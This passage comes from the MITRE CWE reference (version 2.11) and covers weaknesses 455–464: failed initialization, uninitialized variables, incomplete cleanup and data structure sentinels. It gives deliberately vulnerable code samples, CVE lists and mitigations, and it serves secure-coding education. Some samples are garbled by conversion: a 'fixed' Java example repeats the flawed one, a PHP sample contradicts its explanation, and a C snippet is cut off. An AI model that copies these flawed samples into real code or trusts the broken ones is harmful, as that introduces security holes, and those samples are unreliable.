<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>452</td>
<td>Initialization and Cleanup Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>808</td>
<td>2010 Top 25 - Weaknesses On the Cusp</td>
<td>800</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>994</td>
<td>SFP Secondary Cluster: Tainted Input to Variable</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>
CWE-455: Non-exit on Failed Initialization

Weakness ID: 455 (Weakness Base)  Status: Draft

Description

Summary
The software does not exit or otherwise modify its operation when security-relevant errors occur during initialization, such as when a configuration file has a format error, which can cause the software to execute in a less secure fashion than intended by the administrator.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms
- Languages: All

Common Consequences
- Integrity
- Other
- Modify application data
- Alter execution logic

The application could be placed in an insecure state that may allow an attacker to modify sensitive data or allow unintended logic to be executed.

Demonstrative Examples
The following code intends to limit certain operations to the administrator only.

Perl Example:

```perl
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-1345</td>
<td>Product does not trigger a fatal error if missing or invalid ACLs are in a configuration file.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Follow the principle of failing securely when an error occurs. The system should enter a state where it is not vulnerable and will not display sensitive error messages to a potential attacker.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>452</td>
<td>Initialization and Cleanup Errors</td>
<td>767</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-456: Missing Initialization of a Variable

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>636</td>
<td>Not Failing Securely ('Failing Open')</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>665</td>
<td>Improper Initialization</td>
<td>1029</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>705</td>
<td>Incorrect Control Flow Scoping</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>961</td>
<td>SFP Secondary Cluster: Incorrect Exception Behavior</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Research Gaps
Under-studied. These issues are not frequently reported, and it is difficult to find published examples.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Non-exit on Failed Initialization</td>
</tr>
</tbody>
</table>

CWE-456: Missing Initialization of a Variable

<table>
<thead>
<tr>
<th>Weakness ID: 456</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

Description

Summary
The software does not initialize critical variables, which causes the execution environment to use unexpected values.

Time of Introduction
- Implementation

Applicable Platforms

Languages
- Language-independent

Common Consequences

Integrity
Other

Unexpected state
Quality degradation

Varies by context
The uninitialized data may be invalid, causing logic errors within the program. In some cases, this could result in a security problem.

Demonstrative Examples

Example 1:
Here, an uninitialized field in a Java class is used in a seldom-called method, which would cause a NullPointerException to be thrown.

Java Example:

```java
private User user;
public void someMethod() {
    // Do something interesting.
    ...
    // Throws NPE if user hasn't been properly initialized.
    String username = user.getName();
}
```

Example 2:
This code first authenticates a user, then allows a delete command if the user is an administrator.

PHP Example:

```php
if (authenticate($username,$password) && setAdmin($username)) {
    $isAdmin = true;
} .../
if ($isAdmin){
deleteUser($userToDelete);
```
The $isAdmin variable is set to true if the user is an admin, but is uninitialized otherwise. If PHP's register_globals feature is enabled, an attacker can set uninitialized variables like $isAdmin to arbitrary values, in this case gaining administrator privileges by setting $isAdmin to true.

**Example 3:**

In the following Java code the BankManager class uses the user variable of the class User to allow authorized users to perform bank manager tasks. The user variable is initialized within the method setUser that retrieves the User from the User database. The user is then authenticated as unauthorized user through the method authenticateUser.

**Java Example:**

```java
public class BankManager {
    // user allowed to perform bank manager tasks
    private User user = null;
    private boolean isUserAuthentic = false;
    // constructor for BankManager class
    public BankManager() {
        ...
    }
    // retrieve user from database of users
    public User getUserFromUserDatabase(String username){
        ...
    }
    // set user variable using username
    public void setUser(String username) {
        this.user = getUserFromUserDatabase(username);
    }
    // authenticate user
    public boolean authenticateUser(String username, String password) {
        if (user == null) {
            System.out.println("Cannot find user " + username);
        } else {
            if (password.equals(user.getPassword())) {
                isUserAuthentic = true;
            }
            return isUserAuthentic;
        }
    }
    // methods for performing bank manager tasks
    ...
}
```

However, if the method setUser is not called before authenticateUser then the user variable will not have been initialized and will result in a NullPointerException. The code should verify that the user variable has been initialized before it is used, as in the following code.

**Java Example:**

```java
public class BankManager {
    // user allowed to perform bank manager tasks
    private User user = null;
    private boolean isUserAuthentic = false;
    // constructor for BankManager class
    public BankManager(String username) {
        user = getUserFromUserDatabase(username);
    }
    // retrieve user from database of users
    public User getUserFromUserDatabase(String username) {...}
    // authenticate user
    public boolean authenticateUser(String username, String password) {
        if (user == null) {
            System.out.println("Cannot find user " + username);
        } else {
            if (password.equals(user.getPassword())) {
                isUserAuthentic = true;
            }
            return isUserAuthentic;
        }
    }
    // methods for performing bank manager tasks
    ...
}
```
CWE Version 2.11
CWE-457: Use of Uninitialized Variable

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-2109</td>
<td>Internal variable in PHP application is not initialized, allowing external modification.</td>
</tr>
<tr>
<td>CVE-2005-2193</td>
<td>Array variable not initialized in PHP application, leading to resultant SQL injection.</td>
</tr>
<tr>
<td>CVE-2005-2978</td>
<td>Product uses uninitialized variables for size and index, leading to resultant buffer overflow.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation

Check that critical variables are initialized.

Testing

Use a static analysis tool to spot non-initialized variables.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td>B</td>
<td>89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>B</td>
<td>98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>B</td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>452</td>
<td>Initialization and Cleanup Errors</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>V</td>
<td>457</td>
<td>Use of Uninitialized Variable</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>808</td>
<td>2010 Top 25 - Weaknesses On the Cusp</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>867</td>
<td>2011 Top 25 - Weaknesses On the Cusp</td>
</tr>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>909</td>
<td>Missing Initialization of Resource</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td>B</td>
<td>454</td>
<td>External Initialization of Trusted Variables or Data Stores</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
</tr>
</tbody>
</table>

Relationship Notes

This weakness is a major factor in a number of resultant weaknesses, especially in web applications that allow global variable initialization (such as PHP) with libraries that can be directly requested.

Research Gaps

It is highly likely that a large number of resultant weaknesses have missing initialization as a primary factor, but researcher reports generally do not provide this level of detail.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Missing Initialization</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP1</td>
<td>Glitch in computation</td>
</tr>
</tbody>
</table>

References


CWE-457: Use of Uninitialized Variable

<table>
<thead>
<tr>
<th>Weakness ID: 457 (Weakness Variant)</th>
<th>Status: Draft</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td></td>
</tr>
<tr>
<td>Summary</td>
<td>The code uses a variable that has not been initialized, leading to unpredictable or unintended results.</td>
</tr>
<tr>
<td>Extended Description</td>
<td>In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked.</td>
</tr>
</tbody>
</table>
An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- C *(Sometimes)*
- C++ *(Sometimes)*
- Perl *(Often)*
- PHP *(Often)*
- Language-independent

**Modes of Introduction**

In C, using an uninitialized `char *` in some string libraries will return incorrect results, as the libraries expect the null terminator to always be at the end of a string, even if the string is empty.

**Common Consequences**

**Availability**
**Integrity**
**Other**

Initial variables usually contain junk, which can not be trusted for consistency. This can lead to denial of service conditions, or modify control flow in unexpected ways. In some cases, an attacker can "pre-initialize" the variable using previous actions, which might enable code execution. This can cause a race condition if a lock variable check passes when it should not.

**Authorization**
**Other**

Strings that are not initialized are especially dangerous, since many functions expect a null at the end -- and only at the end -- of a string.

**Likelihood of Exploit**
- High

**Demonstrative Examples**

**Example 1:**
This code prints a greeting using information stored in a POST request:

**PHP Example:**

```php
if (isset($_POST['names'])) {
    $nameArray = $_POST['names'];
} else {
    $nameArray = ["first"];  // Bad Code
}
```

This code checks if the POST array 'names' is set before assigning it to the `$nameArray` variable. However, if the array is not in the POST request, `$nameArray` will remain uninitialized. This will cause an error when the array is accessed to print the greeting message, which could lead to further exploit.

**Example 2:**
The following switch statement is intended to set the values of the variables `aN` and `bN` before they are used:

**C Example:**

```c
int aN, bN;
switch (ctl) {
    case -1:
        aN = 0;
        bN = 0;
        break;
```
case 0:
  aN = i;
  bN = -i;
  break;
case 1:
  aN = i + NEXT_SZ;
  bN = i - NEXT_SZ;
  break;
default:
  aN = -1;
  bN = -1;
  break;
}
repaint(aN, bN);

In the default case of the switch statement, the programmer has accidentally set the value of aN twice. As a result, bN will have an undefined value. Most uninitialized variable issues result in general software reliability problems, but if attackers can intentionally trigger the use of an uninitialized variable, they might be able to launch a denial of service attack by crashing the program. Under the right circumstances, an attacker may be able to control the value of an uninitialized variable by affecting the values on the stack prior to the invocation of the function.

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-2728</td>
<td>Uninitialized random seed variable used.</td>
</tr>
<tr>
<td>CVE-2007-3468</td>
<td>Crafted audio file triggers crash when an uninitialized variable is used.</td>
</tr>
<tr>
<td>CVE-2007-4682</td>
<td>Crafted input triggers dereference of an uninitialized object pointer.</td>
</tr>
<tr>
<td>CVE-2008-0081</td>
<td>Uninitialized variable leads to code execution in popular desktop application.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

#### Implementation

**Identify and Reduce Attack Surface**

Assign all variables to an initial value.

**Build and Compilation**

**Compilation or Build Hardening**

Most compilers will complain about the use of uninitialized variables if warnings are turned on.

#### Operation

When using a language that does not require explicit declaration of variables, run or compile the software in a mode that reports undeclared or unknown variables. This may indicate the presence of a typographic error in the variable’s name.

#### Requirements

The choice could be made to use a language that is not susceptible to these issues.

#### Architecture and Design

Mitigating technologies such as safe string libraries and container abstractions could be introduced.

#### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>E</td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>700</td>
<td>685</td>
</tr>
<tr>
<td>ChildOf</td>
<td>E</td>
<td>665</td>
<td>Improper Initialization</td>
<td>699</td>
<td>1029</td>
</tr>
<tr>
<td>ChildOf</td>
<td>E</td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td>888</td>
<td>1397</td>
</tr>
<tr>
<td>CanFollow</td>
<td>E</td>
<td>456</td>
<td>Missing Initialization of a Variable</td>
<td>699</td>
<td>772</td>
</tr>
<tr>
<td>MemberOf</td>
<td>E</td>
<td>630</td>
<td>Weaknesses Examined by SAMATE</td>
<td>630</td>
<td>982</td>
</tr>
</tbody>
</table>

#### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Uninitialized variable</td>
</tr>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Uninitialized Variable</td>
</tr>
</tbody>
</table>
White Box Definitions

A weakness where the code path has:
1. start statement that defines variable
2. end statement that accesses the variable
3. the code path does not contain a statement that assigns value to the variable

References


CWE-458: DEPRECATED: Incorrect Initialization

Weakness ID: 458 (Deprecated Weakness Base) Status: Deprecated

Description

Summary
This weakness has been deprecated because its name and description did not match. The description duplicated CWE-454, while the name suggested a more abstract initialization problem. Please refer to CWE-665 for the more abstract problem.

CWE-459: Incomplete Cleanup

Weakness ID: 459 (Weakness Base) Status: Draft

Description

Summary
The software does not properly "clean up" and remove temporary or supporting resources after they have been used.

Alternate Terms
Insufficient Cleanup

Time of Introduction

• Architecture and Design
• Implementation

Applicable Platforms

Languages
• All

Common Consequences

Other
Confidentiality
Integrity
Other

Read application data
Modify application data

DoS: resource consumption (other)
It is possible to overflow the number of temporary files because directories typically have limits on the number of files allowed. This could create a denial of service problem.

Demonstrative Examples
Stream resources in a Java application should be released in a finally block, otherwise an exception thrown before the call to close() would result in an unreleased I/O resource. In the example below, the close() method is called in the try block (incorrect).

**Java Example:**
```
try {
    InputStream is = new FileInputStream(path);
    byte b[] = new byte[is.available()];
    is.read(b);
    is.close();
} catch (Throwable t) {
    log.error("Something bad happened: " + t.getMessage());
}
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0552</td>
<td>World-readable temporary file not deleted after use.</td>
</tr>
<tr>
<td>CVE-2002-0788</td>
<td>Interaction error creates a temporary file that cannot be deleted due to strong permissions.</td>
</tr>
<tr>
<td>CVE-2002-2066</td>
<td>Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).</td>
</tr>
<tr>
<td>CVE-2002-2067</td>
<td>Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).</td>
</tr>
<tr>
<td>CVE-2002-2068</td>
<td>Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).</td>
</tr>
<tr>
<td>CVE-2002-2069</td>
<td>Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).</td>
</tr>
<tr>
<td>CVE-2002-2070</td>
<td>Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).</td>
</tr>
<tr>
<td>CVE-2005-1744</td>
<td>Users not logged out when application is restarted after security-relevant changes were made.</td>
</tr>
<tr>
<td>CVE-2005-2293</td>
<td>Temporary file not deleted after use, leaking database usernames and passwords.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Implementation**

Temporary files and other supporting resources should be deleted/released immediately after they are no longer needed.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>404</td>
<td>Improper Resource Shutdown or Release</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>452</td>
<td>Initialization and Cleanup Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>731</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>857</td>
<td>CERT Java Secure Coding Section 12 - Input Output (FIO)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>982</td>
<td>SFP Secondary Cluster: Failure to Release Resource</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>226</td>
<td>Sensitive Information Uncleared Before Release</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>460</td>
<td>Improper Cleanup on Thrown Exception</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🌟</td>
<td>568</td>
<td>finalize() Method Without super.finalize()</td>
<td>1000</td>
</tr>
</tbody>
</table>

**Relationship Notes**

CWE-459 is a child of CWE-404 because, while CWE-404 covers any type of improper shutdown or release of a resource, CWE-459 deals specifically with a multi-step shutdown process in which a crucial step for “proper” cleanup is omitted or impossible. That is, CWE-459 deals specifically with a cleanup or shutdown process that does not successfully remove all potentially sensitive data.

Overlaps other categories such as permissions and containment. Concept needs further development. This could be primary (e.g. leading to infoleak) or resultant (e.g. resulting from unhandled error conditions or early termination).

**Functional Areas**

- File processing
CWE-460: Improper Cleanup on Thrown Exception

Weakness ID: 460 (Weakness Variant)  Status: Draft

Description

Summary
The product does not clean up its state or incorrectly cleans up its state when an exception is thrown, leading to unexpected state or control flow.

Extended Description
Often, when functions or loops become complicated, some level of resource cleanup is needed throughout execution. Exceptions can disturb the flow of the code and prevent the necessary cleanup from happening.

Time of Introduction
- Implementation

Applicable Platforms

Languages
- C
- C++
- Java
- .NET

Common Consequences

Other
- Varies by context
  The code could be left in a bad state.

Likelihood of Exploit

Medium

Demonstrative Examples

C++/Java Example:

```java
public class foo {
    public static final void main( String args[] ) {
        boolean returnValue;
        returnValue=doStuff();
    }
    public static final boolean doStuff( ) {
        boolean threadLock;
        boolean truthvalue=true;
        try {
            while(
                //check some condition
            ) { 
                threadLock=true; //do some stuff to truthvalue
                threadLock=false;
            }
            catch (Exception e){
                System.err.println("You did something bad");
                if (something) return truthvalue;
            }
            return truthvalue;
        }
    }
}
```

In this case, you may leave a thread locked accidentally.

**Potential Mitigations**

**Implementation**

If one breaks from a loop or function by throwing an exception, make sure that cleanup happens or that you should exit the program. Use throwing exceptions sparsely.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>452</td>
<td>Initialization and Cleanup Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>459</td>
<td>Incomplete Cleanup</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>755</td>
<td>Improper Handling of Exceptional Conditions</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>851</td>
<td>CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>880</td>
<td>CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>961</td>
<td>SFP Secondary Cluster: Incorrect Exception Behavior</td>
<td>888</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td></td>
<td>Improper cleanup on thrown exception</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>ERR03-J</td>
<td>Restore prior object state on method failure</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>ERR05-J</td>
<td>Do not let checked exceptions escape from a finally block</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ERR39-CPP</td>
<td>Guarantee exception safety</td>
</tr>
</tbody>
</table>

---

**CWE-461: Data Structure Issues**

**Category ID:** 461 (Category)  
**Status:** Draft

**Description**

**Summary**

Weaknesses in this category are related to improper handling of specific data structures.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>19</td>
<td>Data Processing Errors</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>462</td>
<td>Duplicate Key in Associative List (Alist)</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>463</td>
<td>Deletion of Data Structure Sentinel</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>464</td>
<td>Addition of Data Structure Sentinel</td>
<td>699</td>
</tr>
</tbody>
</table>

---

**CWE-462: Duplicate Key in Associative List (Alist)**

**Weakness ID:** 462 (Weakness Base)  
**Status:** Incomplete

**Description**

**Summary**

Duplicate keys in associative lists can lead to non-unique keys being mistaken for an error.

**Extended Description**

A duplicate key entry -- if the alist is designed properly -- could be used as a constant time replace function. However, duplicate key entries could be inserted by mistake. Because of this ambiguity, duplicate key entries in an association list are not recommended and should not be allowed.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- C
CWE Version 2.11
CWE-463: Deletion of Data Structure Sentinel

- C++
- Java
- .NET

Common Consequences

Other
Quality degradation
Varies by context

Likelihood of Exploit
Low

Demonstrative Examples

The following code adds data to a list and then attempts to sort the data.

```python
alist = []
while (foo()): #now assume there is a string data with a key basename
    queue.append(basename,data)
queue.sort()
```

Since basename is not necessarily unique, this may not sort how one would like it to be.

Potential Mitigations

Architecture and Design
Use a hash table instead of an alist.

Architecture and Design
Use an alist which checks the uniqueness of hash keys with each entry before inserting the entry.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>461</td>
<td>Data Structure Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>E</td>
<td>694</td>
<td>Use of Multiple Resources with Duplicate Identifier</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>744</td>
<td>CERT C Secure Coding Section 10 - Environment (ENV)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>878</td>
<td>CERT C++ Secure Coding Section 10 - Environment (ENV)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Duplicate key in associative list (alist)</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>ENV02-C</td>
<td>Beware of multiple environment variables with the same effective name</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ENV02-CPP</td>
<td>Beware of multiple environment variables with the same effective name</td>
</tr>
</tbody>
</table>

CWE-463: Deletion of Data Structure Sentinel

Weakness ID: 463 (Weakness Base)  Status: Incomplete

Description

Summary
The accidental deletion of a data-structure sentinel can cause serious programming logic problems.

Extended Description
Often times data-structure sentinels are used to mark structure of the data structure. A common example of this is the null character at the end of strings. Another common example is linked lists which may contain a sentinel to mark the end of the list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the deletion or modification outside of some wrapper interface which provides safety.

Time of Introduction
- Architecture and Design
- Implementation
Applicable Platforms

Languages
- C
- C++

Common Consequences

Availability
- Other
- Other
  Generally this error will cause the data structure to not work properly.

Authorization
- Other
- Other
  If a control character, such as NULL is removed, one may cause resource access control problems.

Demonstrative Examples

This example creates a null terminated string and prints its contents.

C/C++ Example:

```c
char *foo;
int counter;
foo=calloc(sizeof(char)*10);
for (counter=0;counter!=10;counter++) {
    foo[counter]='a';
    printf("%s",
}
```

The string foo has space for 9 characters and a null terminator, but 10 characters are written to it. As a result, the string foo is not null terminated and calling printf() on it will have unpredictable and possibly dangerous results.

Potential Mitigations

Architecture and Design
- Use an abstraction library to abstract away risky APIs. Not a complete solution.

Build and Compilation

Compilation or Build Hardening

Defense in Depth
- Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.
  For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio / GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.
  This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Operation
- Use OS-level preventative functionality. Not a complete solution.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>461</td>
<td>Data Structure Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>464</td>
<td>Addition of Data Structure Sentinel</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>707</td>
<td>Improper Enforcement of Message or Data Structure</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
<td>888</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>170</td>
<td>Improper Null Termination</td>
<td>1000</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td>Deletion of data-structure sentinel</td>
</tr>
</tbody>
</table>
CWE-464: Addition of Data Structure Sentinel

**Weakness ID:** 464 *(Weakness Base)*

**Status:** Incomplete

**Description**

**Summary**
The accidental addition of a data-structure sentinel can cause serious programming logic problems.

**Extended Description**
Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- C
- C++

**Common Consequences**

**Integrity**
- Modify application data
  - Generally this error will cause the data structure to not work properly by truncating the data.

**Likelihood of Exploit**
- High to Very High

**Demonstrative Examples**
The following example assigns some character values to a list of characters and prints them each individually, and then as a string. The third character value is intended to be an integer taken from user input and converted to an int.

**C/C++ Example:**

```c
char *foo;
foo = malloc(sizeof(char)*5);
foo[0] = 'a';
foo[1] = 'a';
foo[2] = atoi(getc(stdin));
foo[3] = 'c';
foo[4] = '\0';
printf("%c %c %c %c %c \n",foo[0],foo[1],foo[2],foo[3],foo[4]);
printf("%s\n",foo);
```

The first print statement will print each character separated by a space. However, if a non-integer is read from stdin by getc, then atoi will not make a conversion and return 0. When foo is printed as a string, the 0 at character foo[2] will act as a NULL terminator and foo[3] will never be printed.

**Potential Mitigations**

**Implementation**

**Architecture and Design**
- Encapsulate the user from interacting with data sentinels. Validate user input to verify that sentinels are not present.
Implementation
Proper error checking can reduce the risk of inadvertently introducing sentinel values into data. For example, if a parsing function fails or encounters an error, it might return a value that is the same as the sentinel.

Architecture and Design
Use an abstraction library to abstract away risky APIs. This is not a complete solution.

Operation
Use OS-level preventative functionality. This is not a complete solution.

CWE-465: Pointer Issues

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>138</td>
<td>Improper Neutralization of Special Elements</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>461</td>
<td>Data Structure Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>741</td>
<td>CERT C Secure Coding Section 07 - Characters and Strings (STR)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>875</td>
<td>CERT C++ Secure Coding Section 07 - Characters and Strings (STR)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>977</td>
